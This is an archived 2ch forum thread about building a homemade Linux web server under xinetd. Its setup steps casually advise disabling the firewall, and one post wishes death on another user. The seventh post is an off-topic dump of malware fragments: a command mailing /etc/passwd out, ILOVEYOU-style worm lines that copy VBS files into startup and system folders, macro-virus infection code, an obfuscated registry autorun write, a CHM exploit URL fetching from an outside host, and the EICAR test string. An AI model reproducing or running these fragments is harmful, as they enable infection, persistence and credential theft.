2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【Linux】Newサーバーソフト【FTPD・HTTPD】

1 :DNS未登録さん:2005/06/14(火) 05:52:26 ID:kzLzKMtF
そろそろ粘着厨も消えたことでしょうし、再スレ立てします。
自作自演、厨房、馬鹿、煽りは全て無視してください。

では、改めて・・・

Windows用のスレしかなかったので立ててみますた。
どのディストリビューションでも、標準でアパッチが入っているため、わざわざ自分で作ろうって人は少ないと思いますが、そこはそれ
痒いところに手が届くような仕様が欲しければ、やっぱり自分で作るしかないわけで・・・

姉妹スレ:
http://pc8.2ch.net/test/read.cgi/mysv/1067150049/l50

姉妹スレ(つーか本家)と違って、こちらはinetd,xinetdありきで話ができるため、実装は意外と簡単。
どちらかというと、局所的な堅牢性などを中心に語っていければと考える次第です。

手始めにHTTPdを考えてみましょう。
環境は自宅のLAN+ルータでWANに80番だけ解放
プロトコルはHTTP1.0で十分じゃないかと思われます
やったことない人のために>>2に実装手順を書いておきます

2 :DNS未登録さん:2005/06/14(火) 05:52:58 ID:kzLzKMtF
HTTPdの雛型の作成方法(xinetd用)
まず、本体のソフトはC/C++で作成することを前提とします
大まかな流れとしては
1.scanf/fscanf(stdin)でクライアント(ブラウザ)のリクエストを読む
 リクエスト内容がクライアントのステータス文になるところまで読めばOK
2.HTTPヘッダを返す(printf/fprintf(stdout)でOK)
 基本的には受け取ったヘッダにステータス200番をつければ何とかなる
 ステータスさえきちんとしてれば、意外とデタラメ返しても何とかなる(藁
3.HTML本文を返す
 Content・・・ で始まるアレ

作ったものをxinetdに登録(もしアパッチ動いてるなら止めておく)
1./etc/xinetd.dの中に自分の鯖ソフト用の設定ファイルを作る
2./etc/servicesに設定ファイルの名前とポートを登録
これは同ディレクトリに転がってる他のファイルや行を見れば、結構なんとかなる
実行モジュールのパスとdisable=noさえしっかりしてれば、とりあえず動くはず
3.ファイヤウォールなしにする(個別にポートを開けられる人はそうしてちょうだい)
4.xinetdリブート(何だったら本体リブート)

かなりはしょっているが、大まかにはこんな作業だ
で、鯖PCのIPを他PCのブラウザのURLにぶちこむと、あらびっくりさっき作ったソフトがHTTPdとして動いてる

3 :DNS未登録さん:2005/06/14(火) 05:53:41 ID:kzLzKMtF
それでは、良スレにしていきましょう!

4 :DNS未登録さん:2005/06/14(火) 19:59:20 ID:ILIZl646
粘着厨が消えてよかったねぇ
何しろ初代スレの>>1だとか堂々と騙りだすキチガイだったし
あんな人間のクズは今すぐ死ねばいいとずっと思っていたよ


5 :DNS未登録さん:2005/06/14(火) 20:13:49 ID:???
>>1
で、どんなことを語ればいいの?

6 :DNS未登録さん:2005/06/14(火) 21:16:52 ID:???
良スレsage

7 :DNS未登録さん:2005/06/15(水) 12:56:57 ID:???
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
kak.hta';ken=wdt'START

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub


5 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)